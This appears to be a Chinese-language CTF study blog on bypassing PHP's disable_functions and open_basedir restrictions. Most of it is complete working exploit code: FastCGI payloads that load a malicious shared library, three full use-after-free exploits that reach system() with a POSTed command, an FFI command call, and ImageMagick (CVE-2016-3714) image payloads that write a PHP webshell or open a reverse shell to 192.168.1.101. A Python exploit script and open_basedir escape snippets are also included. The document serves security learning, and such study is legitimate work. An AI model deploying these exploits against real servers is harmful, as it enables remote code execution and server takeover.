1 2 3 4 5 6 7 8 9 10 11 12 ~/project/www_win/test/2020 _11_5_bypass_disable_function/fastcgi-fpm ------------------------------------ at 17 :34 :29 > python3 fastcgi.py 127.0 .0 .1 /var/www/html/index.php -c "<?php system('ls')?>" AQFZcAAIAAAAAQAAAAAAAAEEWXAB1AAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRS RVFVRVNUX01FVEhPRFBPU1QPF1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhw CxdTQ1JJUFRfTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwDABRVUVSWV9TVFJJTkcLF1JFUVVF U1RfVVJJL3Zhci93d3cvaHRtbC9pbmRleC5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09G VFdBUkVwaHAvZmNnaWNsaWVudAsJUkVNT1RFX0FERFIxMjcuMC4wLjELBFJFTU9URV9QT1JUOTk4 NAsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxo b3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4 dA4CQ09OVEVOVF9MRU5HVEgyMA8XUEhQX0FETUlOX1ZBTFVFZXh0ZW5zaW9uPS90bXAvZmUxdzAu c28JF1BIUF9WQUxVRWV4dGVuc2lvbj0vdG1wL2ZlMXcwLnNvAQRZcAAAAAABBVlwABQAADw/cGhw IHN5c3RlbSgnbHMnKT8+AQVZcAAAAAA=
注意这里的system()函数是不会执行的,disable_function
fe1w0.c
1 2 3 4 5 6 7 8 9 10 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("tac /flag >/tmp/flag" ); }
fe1w0.so生成
1 gcc -c -fPIC fe1w0.c -o fe1w0 && gcc --share fe1w0 -o fe1w0.so
fe1w0.php
1 2 3 4 5 6 7 8 <?php $sock=stream_socket_client('tcp://127.0.0.1:9000' ); var_dump(base64_decode($_POST['fe1w0' ])); fputs($sock, base64_decode($_POST['fe1w0' ])); var_dump(fread($sock, 4096 )); ?>
0x05 Json Serializer UAF 利用json序列化中的堆溢出触发,借以绕过disable_function
使用条件
Linux 操作系统
PHP 版本
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
环境:
AntSword-Labs/bypass_disable_functions/6
payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 <?php $cmd = $_POST["pass" ]; $n_alloc = 10 ; class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff ); $v >>= 8 ; } } public function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } public function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out; } public function leak1 ($addr ) { global $spl1; $this ->write($this ->abc, 8 , $addr - 0x10 ); return strlen(get_class($spl1)); } public function leak2 ($addr, $p = 0 , $s = 8 ) { global $spl1, $fake_tbl_off; $this ->write($this ->abc, $fake_tbl_off + 0x10 , 0xdeadbeef ); $this ->write($this ->abc, $fake_tbl_off + 0x18 , $addr + $p - 0x10 ); $this ->write($this ->abc, $fake_tbl_off + 0x20 , 6 ); $leak = strlen($spl1::$leak); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } public function parse_elf ($base ) { $e_type = $this ->leak2($base, 0x10 , 2 ); $e_phoff = $this ->leak2($base, 0x20 ); $e_phentsize = $this ->leak2($base, 0x36 , 2 ); $e_phnum = $this ->leak2($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = $this ->leak2($header, 0 , 4 ); $p_flags = $this ->leak2($header, 4 , 4 ); $p_vaddr = $this ->leak2($header, 0x10 ); $p_memsz = $this ->leak2($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } public function get_basic_funcs ($base, $elf ) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = $this ->leak2($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = $this ->leak2($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = $this ->leak2($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = $this ->leak2($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } public function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = $this ->leak2($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } public function get_system ($basic_funcs ) { $addr = $basic_funcs; do { $f_entry = $this ->leak2($addr); $f_name = $this ->leak2($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return $this ->leak2($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } public function jsonSerialize ( ) { global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = new DateInterval('PT1S' ); $room = []; for ($i = 0 ; $i < $n_alloc; $i++) $room[] = new Z(); $_protector = $this ->ptr2str(0 , 78 ); $this ->abc = $this ->ptr2str(0 , 79 ); $p = new DateInterval('PT1S' ); unset ($y[0 ]); unset ($p); $protector = ".$_protector " ; $x = new DateInterval('PT1S' ); $x->d = 0x2000 ; $x->h = 0xdeadbeef ; if ($this ->str2ptr($this ->abc) != 0xdeadbeef ) { die ('UAF failed.' ); } $spl1 = new MySplFixedArray(); $spl2 = new MySplFixedArray(); $class_entry = $this ->str2ptr($this ->abc, 0x120 ); $handlers = $this ->str2ptr($this ->abc, 0x128 ); $php_heap = $this ->str2ptr($this ->abc, 0x1a8 ); $abc_addr = $php_heap - 0x218 ; $fake_obj = $abc_addr; $this ->write($this ->abc, 0 , 2 ); $this ->write($this ->abc, 0x120 , $abc_addr); for ($i = 0 ; $i < 16 ; $i++) { $this ->write($this ->abc, 0x10 + $i * 8 , $this ->leak1($class_entry + 0x10 + $i * 8 )); } $fake_tbl_off = 0x70 * 4 - 16 ; $this ->write($this ->abc, 0x30 , $abc_addr + $fake_tbl_off); $this ->write($this ->abc, 0x38 , $abc_addr + $fake_tbl_off); $this ->write($this ->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10 ); $this ->write($this ->abc, $fake_tbl_off + 8 , 10 ); $binary_leak = $this ->leak2($handlers + 0x10 ); if (!($base = $this ->get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = $this ->parse_elf($base))) { die ("Couldn't parse ELF" ); } if (!($basic_funcs = $this ->get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = $this ->get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_bkt_off = 0x70 * 5 - 16 ; $function_data = $this ->str2ptr($this ->abc, 0x50 ); for ($i = 0 ; $i < 4 ; $i++) { $this ->write($this ->abc, $fake_bkt_off + $i * 8 , $this ->leak2($function_data + 0x40 * 4 , $i * 8 )); } $fake_bkt_addr = $abc_addr + $fake_bkt_off; $this ->write($this ->abc, 0x50 , $fake_bkt_addr); for ($i = 0 ; $i < 3 ; $i++) { $this ->write($this ->abc, 0x58 + $i * 4 , 1 , 4 ); } $function_zval = $this ->str2ptr($this ->abc, $fake_bkt_off); for ($i = 0 ; $i < 12 ; $i++) { $this ->write($this ->abc, $fake_bkt_off + 0x70 + $i * 8 , $this ->leak2($function_zval, $i * 8 )); } $this ->write($this ->abc, $fake_bkt_off + 0x70 + 0x30 , $zif_system); $this ->write($this ->abc, $fake_bkt_off, $fake_bkt_addr + 0x70 ); $spl1->offsetGet($cmd); exit (); } } $y = [new Z()]; json_encode([&$y]);
payload
1 ant=include('/tmp/fe1w0.php');&pass=whoami
0x06 GC UAF 利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 <?php pwn($_POST["pass" ]); function pwn ($cmd ) { global $abc, $helper; function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out; } function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff ); $v >>= 8 ; } } function leak ($addr, $p = 0 , $s = 8 ) { global $abc, $helper; write($abc, 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } function parse_elf ($base ) { $e_type = leak($base, 0x10 , 2 ); $e_phoff = leak($base, 0x20 ); $e_phentsize = leak($base, 0x36 , 2 ); $e_phnum = leak($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0 , 4 ); $p_flags = leak($header, 4 , 4 ); $p_vaddr = leak($header, 0x10 ); $p_memsz = leak($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs ($base, $elf ) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = leak($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } class ryat { var $ryat; var $chtg; function __destruct ( ) { $this ->chtg = $this ->ryat; $this ->ryat = 1 ; } } class Helper { public $a, $b, $c, $d; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A' , 79 ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0 ] = ptr2str(0 , 79 ); unset ($v); $abc = $out[2 ][0 ]; $helper = new Helper; $helper->b = function ($x ) { }; if (strlen($abc) == 79 || strlen($abc) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc, 0 ); $php_heap = str2ptr($abc, 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc, 0x60 , 2 ); write($abc, 0x70 , 6 ); write($abc, 0x10 , $abc_addr + 0x60 ); write($abc, 0x18 , 0xa ); $closure_obj = str2ptr($abc, 0x20 ); $binary_leak = leak($closure_handlers, 8 ); if (!($base = get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20 , $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38 , 1 , 4 ); write($abc, 0xd0 + 0x68 , $zif_system); ($helper->b)($cmd); exit (); }
payload
1 ant=include('/tmp/exp2.php');&pass=whoami
0x07 Backtrace UAF 影响版本是7.0-7.4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 <?php pwn($_POST["pass" ]); function pwn ($cmd ) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct ( ) { global $backtrace; unset ($this ->a); $backtrace = (new Exception )->getTrace(); if (!isset ($backtrace[1 ]['args' ])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out; } function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff ); $v >>= 8 ; } } function leak ($addr, $p = 0 , $s = 8 ) { global $abc, $helper; write($abc, 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } function parse_elf ($base ) { $e_type = leak($base, 0x10 , 2 ); $e_phoff = leak($base, 0x20 ); $e_phentsize = leak($base, 0x36 , 2 ); $e_phnum = leak($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0 , 4 ); $p_flags = leak($header, 4 , 4 ); $p_vaddr = leak($header, 0x10 ); $p_memsz = leak($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs ($base, $elf ) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = leak($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle(str_repeat('A' , 79 )); $vuln = new Vuln(); $vuln->a = $arg; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A' , 79 )); trigger_uaf('x' ); $abc = $backtrace[1 ]['args' ][0 ]; $helper = new Helper; $helper->b = function ($x ) { }; if (strlen($abc) == 79 || strlen($abc) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc, 0 ); $php_heap = str2ptr($abc, 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc, 0x60 , 2 ); write($abc, 0x70 , 6 ); write($abc, 0x10 , $abc_addr + 0x60 ); write($abc, 0x18 , 0xa ); $closure_obj = str2ptr($abc, 0x20 ); $binary_leak = leak($closure_handlers, 8 ); if (!($base = get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20 , $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38 , 1 , 4 ); write($abc, 0xd0 + 0x68 , $zif_system); ($helper->b)($cmd); exit (); }
0x08 FFI扩展
https://www.php.net/manual/zh/book.ffi.php
php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
1 2 3 4 5 6 <?php $ffi = FFI::cdef("int system(const char *command);" ); $ffi->system("whoami >/tmp/1" ); echo file_get_contents("/tmp/1" );@unlink("/tmp/1" ); ?>
imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,在处理时可被远程执行任意代码(CVE-2016–3714)
https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1
在容器中 /poc.png
文件内容如下:
1 2 3 4 push graphic-context viewbox 0 0 640 480 fill 'url(https://evalbug.com/"|ls -la")' pop graphic-context
构建时已经集成在容器中,可手动修改第 3 行的命令。
在物理机上直接执行下面命令验证漏洞:
1 $ docker exec i_imagemagick_1 convert /poc.png 1.png
或进入 docker容器 shell 中执行:
1 $ convert /poc.png 1.png
如果看到 ls -al
命令成功执行,则存在漏洞。
远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。
写一句话到网站根目录下:
1 2 3 4 push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")' pop graphic-context
反弹 shell:
1 2 3 4 push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")' pop graphic-context
将上述两个 Exp 经过 base64 编码后发送到远程 poc.php
,querystring 的 key
为 img
。
也可修改 poc.py
后执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport base64def doPost (url, data ): post_data = {"img" : base64.b64encode(data)} try : requests.post(url + "/poc.php" , data=post_data, timeout=1 ) except : pass def writeshell (url ): writeshell = '''push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")' pop graphic-context ''' doPost(url, writeshell) resp2 = requests.post(url + "/shell.php" , data={"ant" : "echo md5(123);" }) if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content: print "WebShell: " + url + "shell.php" def reverse_shell (url ): reverse_shell = """push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")' pop graphic-context""" doPost(url, reverse_shell) if __name__ == '__main__' : writeshell("http://127.0.0.1:8000/" )
bypass open_basedir 🍔
refer:
https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
https://xz.aliyun.com/t/4720
open_basedir 官方手册上的描述 open_basedir
string
Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off.
When a script tries to access the filesystem, for example using include , or fopen() , the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it’s not possible to avoid this restriction with a symlink. If the file doesn’t exist then the symlink couldn’t be resolved and the filename is compared to (a resolved) open_basedir .
open_basedir can affect more than just filesystem functions; for example if MySQL
is configured to use mysqlnd
drivers, LOAD DATA INFILE
will be affected by open_basedir . Much of the extended functionality of PHP uses open_basedir
in this way.
The special value .
indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir() .
In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with “php_admin_value open_basedir none
“.
Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited.
The restriction specified with open_basedir is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix. This means that “open_basedir = /dir/incl
“ also allowed access to “/dir/include
“ and “/dir/incls
“ if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/
The default is to allow all files to be opened.
Note :
As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/
in php.ini a script can tighten the configuration to /www/tmp/
at run-time with ini_set() . When listing several directories, you can use the PATH_SEPARATOR
constant as a separator regardless of the operating system.
Note :
Using open_basedir will set realpath_cache_size to 0
and thus disable the realpath cache.
0x01 ini_set() 正如官方手册中提到,open_basedir 的可修改范围是PHP_INI_ALL
,而ini_set的修改范围是PHP_INI_USER
和 PHP_INI_ALL
,此外如上文中提到The restriction specified with **open_basedir** is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix.
,在本地测试中也发现,php<=php5.2.17
,是以检查前缀的方式,而对于php>=php5.3.2
,则是以文件名的形式要求匹配。
环境:
1 2 php5.2.17nts php5.4.45nts php5.6.9nts php7.0.9nts.log php7.2.9nts php7.3.4nts php7.4.3nts php5.3.29nts php5.5.9nts php7.0.9nts php7.1.9nts php7.3.9nts
大致代码
1 2 3 4 <?php var_dump(ini_set('open_basedir' ,'D:/' )); $file = file_get_contents('D:/flag' ); echo ($file);
0x02 利用命令执行函数Bypass
虽然上午中提到open_basedir 会影响数据库加载文件,但没有说影响到命令执行
1 2 3 4 <?php var_dump(ini_set('open_basedir' ,'D:/phpstudy_pro' )); var_dump(ini_get('open_basedir' )); var_dump(system('type D:\flag' ));
0x03 利用symlink()构造软链接
这个在学习过程中,感觉还是很有趣的
symlink()
1 symlink ( string $target , string $link ) : bool
symlink() creates a symbolic link to the existing target
with the specified name link
.
当前symlink.php
的地址为/mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir
,而 flag 位于/flag
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ini_set('open_basedir' ,'/mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir' ); mkdir("A" ); chdir("A" ); mkdir("B" ); chdir("B" ); mkdir("C" ); chdir("C" ); mkdir("D" ); chdir("D" ); mkdir("E" ); chdir("E" ); mkdir("F" ); chdir("F" ); mkdir("G" ); chdir("G" ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); symlink("A/B/C/D/E/F/G" ,"7ea" ); symlink("7ea/../../../../../../../flag" ,"flag" ); unlink("7ea" ); mkdir("7ea" ); ?>
0x04利用glob://伪协议 glob:// — 查找匹配的文件路径模式,自 PHP 5.3.0 起开始有效。
示例使用:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $it = new DirectoryIterator ("glob:///mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir/*.php" ); foreach ($it as $f) { printf("%s: %.1FK\n" , $f->getFilename(), $f->getSize()/1024 ); } ?>
0x01 DirectoryIterator+glob:// DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件
https://www.php.net/manual/en/class.directoryiterator.php
1 2 3 4 5 6 7 8 <?php ini_set('open_basedir' ,'/app' ); $c = $_GET['c' ]; $a = new DirectoryIterator ($c); foreach ($a as $f){ echo ($f->__toString().'<br>' ); } ?>
实践中发现可以做到任意目录读取
对mi1k7ea师傅提到的受限问题存疑
0x02 opendir()+readdir()+glob:// 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set('open_basedir' ,'/app' ); $a = $_GET['c' ]; if ( $b = opendir($a) ) { while ( ($file = readdir($b)) !== false ) { echo $file."<br>" ; } closedir($b); } ?>
0x05 利用chdir()与ini_set()组合Bypass 原理 从PHP底层看open_basedir bypass
推荐看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set('open_basedir' ,'/app' ); mkdir('fe1w0' ); chdir('fe1w0' ); ini_set('open_basedir' , '..' ); chdir('..' ); chdir('..' ); chdir('..' ); ini_set('open_basedir' , '/' ); $cmd = $_GET[1 ]; @eval ($cmd);
0x06 利用bindtextdomain() bindtextdomain ( string $domain
, string $directory
) : string
The bindtextdomain() function sets the path for a domain.
绑定域名与路径
return:
The full pathname for the domain
currently being set.
bypass 原理: 利用bindtextdomain在成功绑定域名和目录之后,会返回完整地址。如果地址不存在,则return false
,好像也只能探测目录
1 2 3 4 5 6 <?php ini_set('open_basedir' ,'/app' ); $domain = 'docker' ; $file = $_GET['file' ]; $res=bindtextdomain($domain, $file); var_dump($res);
0x07 利用SplFileInfo::getRealPath()类方法 SplFileinfo
The SplFileInfo class offers a high-level object oriented interface to information for an individual file.
SplFileInfo::getRealPath
SplFileInfo::getRealPath — Gets absolute path to file
return
Returns the path to the file, or FALSE
if the file does not exist.
具体使用和bindtextdomain一样
利用SplFileInfo::getRealPath()
会根据输入地址,放回绝对地址,存在则解析。如果地址不存在,则return false
,和bindtextdomain
只能探测目录
1 2 3 4 <?php ini_set('open_basedir' ,'/app' ); $info = new SplFileInfo ($_GET['file_name' ]); var_dump($info->getRealPath());
0x08 realpath()
realpath() 扩展所有的符号连接并且处理输入的 path
